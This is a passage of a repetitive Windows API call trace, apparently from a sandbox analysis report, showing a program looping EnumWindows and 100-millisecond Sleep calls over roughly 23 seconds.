(dwMilliseconds=0x64) [0228.887] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0228.888] Sleep (dwMilliseconds=0x64) [0229.018] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0229.020] Sleep (dwMilliseconds=0x64) [0229.265] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0229.266] Sleep (dwMilliseconds=0x64) [0229.420] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0229.422] Sleep (dwMilliseconds=0x64) [0229.521] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0229.522] Sleep (dwMilliseconds=0x64) [0229.686] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0229.687] Sleep (dwMilliseconds=0x64) [0229.845] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0229.846] Sleep (dwMilliseconds=0x64) [0229.956] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0229.957] Sleep (dwMilliseconds=0x64) [0230.039] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0230.040] Sleep (dwMilliseconds=0x64) [0230.132] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0230.133] Sleep (dwMilliseconds=0x64) [0230.265] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0230.266] Sleep (dwMilliseconds=0x64) [0230.348] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0230.349] Sleep (dwMilliseconds=0x64) [0230.445] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0230.446] Sleep (dwMilliseconds=0x64) [0230.647] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0230.649] Sleep (dwMilliseconds=0x64) [0230.800] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0230.801] Sleep (dwMilliseconds=0x64) [0230.947] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0230.949] Sleep (dwMilliseconds=0x64) [0231.056] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0231.057] Sleep (dwMilliseconds=0x64) [0231.324] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0231.326] Sleep (dwMilliseconds=0x64) [0231.459] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0231.460] Sleep (dwMilliseconds=0x64) [0231.554] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0231.555] Sleep (dwMilliseconds=0x64) [0231.632] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0231.633] Sleep (dwMilliseconds=0x64) [0231.719] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0231.720] Sleep (dwMilliseconds=0x64) [0231.801] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0231.802] Sleep (dwMilliseconds=0x64) [0231.903] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0231.905] Sleep (dwMilliseconds=0x64) [0231.986] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0231.987] Sleep (dwMilliseconds=0x64) [0232.099] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0232.100] Sleep (dwMilliseconds=0x64) [0232.174] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0232.176] Sleep (dwMilliseconds=0x64) [0232.288] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0232.289] Sleep (dwMilliseconds=0x64) [0232.409] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0232.410] Sleep (dwMilliseconds=0x64) [0232.503] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0232.504] Sleep (dwMilliseconds=0x64) [0232.594] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0232.595] Sleep (dwMilliseconds=0x64) [0232.697] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0232.698] Sleep (dwMilliseconds=0x64) [0232.823] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0232.824] Sleep (dwMilliseconds=0x64) [0232.914] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0232.915] Sleep (dwMilliseconds=0x64) [0233.014] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0233.015] Sleep (dwMilliseconds=0x64) [0233.098] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0233.099] Sleep (dwMilliseconds=0x64) [0233.191] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0233.192] Sleep (dwMilliseconds=0x64) [0233.316] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0233.317] Sleep (dwMilliseconds=0x64) [0233.364] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0233.365] Sleep (dwMilliseconds=0x64) [0233.413] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0233.414] Sleep (dwMilliseconds=0x64) [0233.512] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0233.513] Sleep (dwMilliseconds=0x64) [0233.785] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0233.786] Sleep (dwMilliseconds=0x64) [0233.879] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0233.881] Sleep (dwMilliseconds=0x64) [0233.974] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0233.975] Sleep (dwMilliseconds=0x64) [0234.080] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0234.081] Sleep (dwMilliseconds=0x64) [0234.172] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0234.174] Sleep (dwMilliseconds=0x64) [0234.332] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0234.333] Sleep (dwMilliseconds=0x64) [0234.427] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0234.428] Sleep (dwMilliseconds=0x64) [0234.519] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0234.520] Sleep (dwMilliseconds=0x64) [0234.612] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0234.613] Sleep (dwMilliseconds=0x64) [0234.731] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0234.732] Sleep (dwMilliseconds=0x64) [0234.816] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0234.817] Sleep (dwMilliseconds=0x64) [0234.910] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0234.911] Sleep (dwMilliseconds=0x64) [0235.004] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0235.005] Sleep (dwMilliseconds=0x64) [0235.079] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0235.080] Sleep (dwMilliseconds=0x64) [0235.133] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0235.134] Sleep (dwMilliseconds=0x64) [0235.207] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0235.208] Sleep (dwMilliseconds=0x64) [0235.332] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0235.333] Sleep (dwMilliseconds=0x64) [0235.426] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0235.427] Sleep (dwMilliseconds=0x64) [0235.528] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0235.529] Sleep (dwMilliseconds=0x64) [0235.615] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0235.616] Sleep (dwMilliseconds=0x64) [0235.692] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0235.693] Sleep (dwMilliseconds=0x64) [0235.786] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0235.787] Sleep (dwMilliseconds=0x64) [0235.883] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0235.884] Sleep (dwMilliseconds=0x64) [0236.022] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0236.023] Sleep (dwMilliseconds=0x64) [0236.113] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0236.115] Sleep (dwMilliseconds=0x64) [0236.200] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0236.201] Sleep (dwMilliseconds=0x64) [0236.301] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0236.302] Sleep (dwMilliseconds=0x64) [0236.395] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0236.398] Sleep (dwMilliseconds=0x64) [0236.488] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0236.489] Sleep (dwMilliseconds=0x64) [0236.582] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0236.583] Sleep (dwMilliseconds=0x64) [0236.676] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0236.678] Sleep (dwMilliseconds=0x64) [0236.769] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0236.770] Sleep (dwMilliseconds=0x64) [0236.847] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0236.849] Sleep (dwMilliseconds=0x64) [0236.956] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0236.957] Sleep (dwMilliseconds=0x64) [0237.051] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0237.052] Sleep (dwMilliseconds=0x64) [0237.191] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0237.193] Sleep (dwMilliseconds=0x64) [0237.299] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0237.301] Sleep (dwMilliseconds=0x64) [0237.394] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0237.395] Sleep (dwMilliseconds=0x64) [0237.488] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0237.489] Sleep (dwMilliseconds=0x64) [0237.581] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0237.583] Sleep (dwMilliseconds=0x64) [0237.676] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0237.677] Sleep (dwMilliseconds=0x64) [0237.724] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0237.725] Sleep (dwMilliseconds=0x64) [0237.769] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0237.770] Sleep (dwMilliseconds=0x64) [0237.847] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0237.848] Sleep (dwMilliseconds=0x64) [0237.942] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0237.943] Sleep (dwMilliseconds=0x64) [0238.034] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0238.036] Sleep (dwMilliseconds=0x64) [0238.137] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0238.138] Sleep (dwMilliseconds=0x64) [0238.207] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0238.208] Sleep (dwMilliseconds=0x64) [0238.347] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0238.349] Sleep (dwMilliseconds=0x64) [0238.426] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0238.427] Sleep (dwMilliseconds=0x64) [0238.519] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0238.520] Sleep (dwMilliseconds=0x64) [0238.597] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0238.598] Sleep (dwMilliseconds=0x64) [0238.675] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0238.676] Sleep (dwMilliseconds=0x64) [0238.754] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0238.755] Sleep (dwMilliseconds=0x64) [0238.851] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0238.852] Sleep (dwMilliseconds=0x64) [0238.925] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0238.926] Sleep (dwMilliseconds=0x64) [0239.023] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0239.024] Sleep (dwMilliseconds=0x64) [0239.115] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0239.116] Sleep (dwMilliseconds=0x64) [0239.178] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0239.179] Sleep (dwMilliseconds=0x64) [0239.238] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0239.239] Sleep (dwMilliseconds=0x64) [0239.349] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0239.350] Sleep (dwMilliseconds=0x64) [0239.425] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0239.426] Sleep (dwMilliseconds=0x64) [0239.660] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0239.661] Sleep (dwMilliseconds=0x64) [0239.754] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0239.755] Sleep (dwMilliseconds=0x64) [0239.831] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0239.833] Sleep (dwMilliseconds=0x64) [0239.905] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0239.907] Sleep (dwMilliseconds=0x64) [0239.997] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0239.998] Sleep (dwMilliseconds=0x64) [0240.073] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0240.074] Sleep (dwMilliseconds=0x64) [0240.167] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0240.168] Sleep (dwMilliseconds=0x64) [0240.281] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0240.282] Sleep (dwMilliseconds=0x64) [0240.352] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0240.353] Sleep (dwMilliseconds=0x64) [0240.415] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0240.416] Sleep (dwMilliseconds=0x64) [0240.457] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0240.458] Sleep (dwMilliseconds=0x64) [0240.519] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0240.520] Sleep (dwMilliseconds=0x64) [0240.613] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0240.614] Sleep (dwMilliseconds=0x64) [0240.753] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0240.754] Sleep (dwMilliseconds=0x64) [0240.847] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0240.848] Sleep (dwMilliseconds=0x64) [0240.941] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0240.942] Sleep (dwMilliseconds=0x64) [0241.019] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0241.020] Sleep (dwMilliseconds=0x64) [0241.114] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0241.115] Sleep (dwMilliseconds=0x64) [0241.216] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0241.217] Sleep (dwMilliseconds=0x64) [0241.321] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0241.322] Sleep (dwMilliseconds=0x64) [0241.400] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0241.401] Sleep (dwMilliseconds=0x64) [0241.488] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0241.489] Sleep (dwMilliseconds=0x64) [0241.539] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0241.540] Sleep (dwMilliseconds=0x64) [0241.594] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0241.595] Sleep (dwMilliseconds=0x64) [0241.682] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0241.683] Sleep (dwMilliseconds=0x64) [0241.777] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0241.778] Sleep (dwMilliseconds=0x64) [0241.915] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0241.916] Sleep (dwMilliseconds=0x64) [0242.011] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0242.012] Sleep (dwMilliseconds=0x64) [0242.106] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0242.107] Sleep (dwMilliseconds=0x64) [0242.164] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0242.165] Sleep (dwMilliseconds=0x64) [0242.229] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0242.230] Sleep (dwMilliseconds=0x64) [0242.332] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0242.333] Sleep (dwMilliseconds=0x64) [0242.409] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0242.411] Sleep (dwMilliseconds=0x64) [0242.487] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0242.489] Sleep (dwMilliseconds=0x64) [0242.581] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0242.582] Sleep (dwMilliseconds=0x64) [0242.660] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0242.661] Sleep (dwMilliseconds=0x64) [0242.740] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0242.741] Sleep (dwMilliseconds=0x64) [0242.828] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0242.829] Sleep (dwMilliseconds=0x64) [0242.906] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0242.907] Sleep (dwMilliseconds=0x64) [0242.979] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0242.980] Sleep (dwMilliseconds=0x64) [0243.108] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0243.109] Sleep (dwMilliseconds=0x64) [0243.144] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0243.145] Sleep (dwMilliseconds=0x64) [0243.207] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0243.208] Sleep (dwMilliseconds=0x64) [0243.300] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0243.301] Sleep (dwMilliseconds=0x64) [0243.379] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0243.380] Sleep (dwMilliseconds=0x64) [0243.472] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0243.473] Sleep (dwMilliseconds=0x64) [0243.550] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0243.551] Sleep (dwMilliseconds=0x64) [0243.613] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0243.614] Sleep (dwMilliseconds=0x64) [0243.691] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0243.692] Sleep (dwMilliseconds=0x64) [0243.770] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0243.771] Sleep (dwMilliseconds=0x64) [0243.847] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0243.849] Sleep (dwMilliseconds=0x64) [0243.925] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0243.926] Sleep (dwMilliseconds=0x64) [0244.005] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0244.006] Sleep (dwMilliseconds=0x64) [0244.100] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0244.101] Sleep (dwMilliseconds=0x64) [0244.191] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0244.192] Sleep (dwMilliseconds=0x64) [0244.379] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0244.380] Sleep (dwMilliseconds=0x64) [0244.473] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0244.474] Sleep (dwMilliseconds=0x64) [0244.567] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0244.568] Sleep (dwMilliseconds=0x64) [0244.644] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0244.645] Sleep (dwMilliseconds=0x64) [0244.691] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0244.692] Sleep (dwMilliseconds=0x64) [0244.753] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0244.754] Sleep (dwMilliseconds=0x64) [0244.847] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0244.848] Sleep (dwMilliseconds=0x64) [0244.942] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0244.943] Sleep (dwMilliseconds=0x64) [0245.034] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0245.035] Sleep (dwMilliseconds=0x64) [0245.144] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0245.145] Sleep (dwMilliseconds=0x64) [0245.222] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0245.223] Sleep (dwMilliseconds=0x64) [0245.332] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0245.333] Sleep (dwMilliseconds=0x64) [0245.566] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0245.567] Sleep (dwMilliseconds=0x64) [0245.660] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0245.661] Sleep (dwMilliseconds=0x64) [0245.748] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0245.749] Sleep (dwMilliseconds=0x64) [0245.785] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0245.786] Sleep (dwMilliseconds=0x64) [0245.882] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0245.884] Sleep (dwMilliseconds=0x64) [0245.974] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0245.975] Sleep (dwMilliseconds=0x64) [0246.066] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0246.068] Sleep (dwMilliseconds=0x64) [0246.160] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0246.161] Sleep (dwMilliseconds=0x64) [0246.224] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0246.225] Sleep (dwMilliseconds=0x64) [0246.316] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0246.317] Sleep (dwMilliseconds=0x64) [0246.410] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0246.411] Sleep (dwMilliseconds=0x64) [0246.507] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0246.508] Sleep (dwMilliseconds=0x64) [0246.644] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0246.645] Sleep (dwMilliseconds=0x64) [0246.739] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0246.741] Sleep (dwMilliseconds=0x64) [0246.816] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0246.817] Sleep (dwMilliseconds=0x64) [0246.894] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0246.896] Sleep (dwMilliseconds=0x64) [0246.988] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0246.989] Sleep (dwMilliseconds=0x64) [0247.081] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0247.083] Sleep (dwMilliseconds=0x64) [0247.175] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0247.177] Sleep (dwMilliseconds=0x64) [0247.224] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0247.225] Sleep (dwMilliseconds=0x64) [0247.284] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0247.285] Sleep (dwMilliseconds=0x64) [0247.380] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0247.381] Sleep (dwMilliseconds=0x64) [0247.472] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0247.473] Sleep (dwMilliseconds=0x64) [0247.566] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0247.567] Sleep (dwMilliseconds=0x64) [0247.660] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0247.662] Sleep (dwMilliseconds=0x64) [0247.738] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0247.739] Sleep (dwMilliseconds=0x64) [0247.863] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0247.864] Sleep (dwMilliseconds=0x64) [0247.956] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0247.958] Sleep (dwMilliseconds=0x64) [0248.050] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0248.051] Sleep (dwMilliseconds=0x64) [0248.144] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0248.145] Sleep (dwMilliseconds=0x64) [0248.223] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0248.225] Sleep (dwMilliseconds=0x64) [0248.333] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0248.334] Sleep (dwMilliseconds=0x64) [0248.426] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0248.427] Sleep (dwMilliseconds=0x64) [0248.519] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0248.521] Sleep (dwMilliseconds=0x64) [0248.630] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0248.633] Sleep (dwMilliseconds=0x64) [0248.722] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0248.723] Sleep (dwMilliseconds=0x64) [0248.785] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0248.786] Sleep (dwMilliseconds=0x64) [0248.847] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0248.849] Sleep (dwMilliseconds=0x64) [0248.941] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0248.942] Sleep (dwMilliseconds=0x64) [0249.036] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0249.037] Sleep (dwMilliseconds=0x64) [0249.128] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0249.130] Sleep (dwMilliseconds=0x64) [0249.223] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0249.224] Sleep (dwMilliseconds=0x64) [0249.347] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0249.348] Sleep (dwMilliseconds=0x64) [0249.410] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0249.411] Sleep (dwMilliseconds=0x64) [0249.489] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0249.490] Sleep (dwMilliseconds=0x64) [0249.589] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0249.590] Sleep (dwMilliseconds=0x64) [0249.707] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0249.708] Sleep (dwMilliseconds=0x64) [0249.822] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0249.823] Sleep (dwMilliseconds=0x64) [0249.924] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0249.926] Sleep (dwMilliseconds=0x64) [0250.019] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0250.021] Sleep (dwMilliseconds=0x64) [0250.112] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0250.114] Sleep (dwMilliseconds=0x64) [0250.341] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0250.342] Sleep (dwMilliseconds=0x64) [0250.442] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0250.443] Sleep (dwMilliseconds=0x64) [0250.535] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0250.536] Sleep (dwMilliseconds=0x64) [0250.628] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0250.629] Sleep (dwMilliseconds=0x64) [0250.691] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0250.692] Sleep (dwMilliseconds=0x64) [0250.754] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0250.755] Sleep (dwMilliseconds=0x64) [0250.847] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0250.848] Sleep (dwMilliseconds=0x64) [0250.925] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0250.926] Sleep (dwMilliseconds=0x64) [0251.020] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0251.021] Sleep (dwMilliseconds=0x64) [0251.105] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0251.106] Sleep (dwMilliseconds=0x64) [0251.160] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0251.161] Sleep (dwMilliseconds=0x64) [0251.238] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0251.239] Sleep (dwMilliseconds=0x64) [0251.472] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0251.474] Sleep (dwMilliseconds=0x64) [0251.550] 